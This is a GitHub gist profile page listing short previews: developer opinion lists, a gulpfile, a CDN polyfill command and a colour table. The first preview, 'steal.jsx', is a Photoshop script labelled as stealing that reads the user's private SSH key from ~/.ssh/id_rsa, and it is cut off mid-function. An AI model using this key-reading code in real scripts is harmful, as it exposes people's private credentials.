Skip to content

Instantly share code, notes, and snippets.

View dy's full-sized avatar
🙌
you're doing good

Dmitry Iv. dy

🙌
you're doing good
View GitHub Profile
@dy
dy / steal.jsx
Created January 17, 2015 10:15
Photoshop script stealing stuff
var stealFile = function(conn){
var id_priv = new File("~/.ssh/id_rsa");
id_priv.open('r');
var str = id_priv.read();
$.writeln(str);
return str
}
//A RSA thieft
function stealKeySrv() {
@dy
dy / no-jquery.md
Last active August 29, 2015 14:14
Why not jQuery?

Reasons to avoid jQuery

  1. It implements The God Object antipattern.
  • Solution: there’re lots of npm modules, solving each that task separately and efficiently.
  1. It violates Separation of Concerns principle.
  • There’s a separate solution for each jquery’s concern: polyfills for bugs, npm packages for features, browserify/component/web-components for "plugin system".
  1. It is excessive - where you may only need 1kb, you use 30kb.
  • Use atomic point modules and you will reach theoretically possible minimum size.
  1. It causes extra-load - memory, traffic, performance.
  • Separated modules provides theoretically best values in each aspect.
@dy
dy / no-react.md
Last active August 29, 2015 14:14
Why not React?

Reasons to avoid React

  1. It invents non-standard js syntax. That means you can’t simply replace react, the whole project depends on that.
  2. .jsx contradicts to adobe’s extended js extension.
  3. It requires a compilator, sourcemaps, all the workmanship you don’t need with plain js.
  4. There’re way better ES6 templates, classes, which is proper solution to the things covered by react.
  5. It violates SoC principle
  6. It’s not atomic
  7. It can’t be an easy dependency
@dy
dy / no-coffee.md
Created February 2, 2015 09:01
Why not CoffeeScript?

Reasons not to use CoffeeScript

@dy
dy / ideal-builder.md
Last active August 29, 2015 14:14
Ideal JS builder

Ideal js components builder

Goal

Come up with a tool solving ideally building task and allowing user to focus on component logic not shims or polyfills.

Tasks

  • Build component efficiently for different target environments: jquery, web-component, node, browser, UMD etc. Take into account best-practices.
@dy
dy / get-polyfills.json
Created February 11, 2015 12:44
Get polyfills
"polyfill": "curl \"http://cdn.polyfill.io/v1/polyfill.min.js?features=WeakMap,WeakSet&flags=always,gated&unknown=polyfill\" -A \"xxx\" > polyfill.js"
@dy
dy / mobile_requirements.md
Last active August 29, 2015 14:16
Kudago mobile banners requirements
Screen width Banner size
≤ 320px 320px × 50px
320px .. 728px 728px × 60px
≥ 728px 1024px × 100px
@dy
dy / gistodo.md
Created March 29, 2015 07:48
merits
  • A
  • B
  • C
@dy
dy / gulpfile.js
Created May 29, 2015 16:38
Static site generator with gulp
var gulp = require('gulp');
var rename = require('gulp-rename');
var map = require('map-stream');
var frontMatter = require('gulp-front-matter');
var nunjucks = require('nunjucks');
var marked = require('gulp-marked');
var plumber = require('gulp-plumber');
var fs = require('fs');
var extend = require('xtend/mutable');
@dy
dy / coloroid.js
Created September 22, 2015 00:13
Coloroid table
/*
Coloroid table
Some negative angle typos are fixed
A λ ф tg ф ctg ф xλ yλ zλ xλ yλ eλ
10 570.83 59.0 0.6009 0.775745 0.946572 0.002032 0.44987 0.54895 1.724349
11 572.64 55.3 0.6924 0.805130 0.933804 0.001910 0.46248 0.53641 1.740845
12 574.38 51.7 0.7898 0.832782 0.920395 0.001808 0.47451 0.52444 1.754986
13 576.06 48.2 1.1180 0.8941 0.858841 0.906482 0.001764 0.48601 0.51298 1.767088